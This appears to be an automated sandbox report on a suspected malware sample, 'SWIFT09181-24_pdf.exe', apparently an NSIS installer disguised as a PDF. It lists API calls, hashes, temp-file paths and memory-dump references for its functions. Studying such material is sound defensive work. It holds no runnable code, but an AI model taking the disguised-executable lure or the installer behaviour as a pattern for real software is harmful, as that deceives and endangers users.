Opcode Fuzzy Hash: a621a955531d0e661206b23193f22b54096652e1fd49661ebc4a0141683b6ddb
Instruction Fuzzy Hash: 6831DE71504A21EFF321CF14CCA8E2B7BF8FB853D2F114529FA40961A8CB319851DB69

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsw967F.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5
C:\Users\user\AppData\Local\Temp\nsw967F.tmp, xrefs: 0040257C

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsw967F.tmp$C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll
API String ID: 3109718747-942181086
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2635351082.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2635332703.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635371796.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2635394979.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction ID: 6c4fcacab342d11fcc3e0291a3358bee332e4b98312e181ff459d3a43eef6c86
Opcode Fuzzy Hash: 69ce20dac70bd98cff0fbc611a97eee619d910519d07cd3d76554ab653056bec
Instruction Fuzzy Hash: E4D0A771101D306AC211EB548C04DDF72ACAE45344381007BF502B30E1CB7C1D618BFE

Function 00401E66 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,74DF23A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: b55d93dfb97ddf8a14339bcde7d47e4fb5e20aa6c656398e0056b6fada52b68e
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00402F6A,00000001,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405B11 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"), ref: 00405B6A
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70,74DF3420,?,C:\Users\user\AppData\Local\Temp\,00405866,?,74DF3420,C:\Users\user\AppData\Local\Temp\), ref: 00405B7A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405B11

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SWIFT09181-24_pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3081826266
Opcode ID: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction ID: 9ab821bc962df094d04e13ee53e7cef05d0bc350337be3d6547239d71e0b1b07
Opcode Fuzzy Hash: c6e1c51320233fe3a8d28f86eff4fa9f75d9a909d4c49901629be8da40a5a1bd
Instruction Fuzzy Hash: FFF0A429504E5115D72272361D49EBF3669CF86324B1A063FF852B22D1DB3CB952CCBD

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000000.00000002.2617234621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2617219411.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617290785.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617308290.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2617473125.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

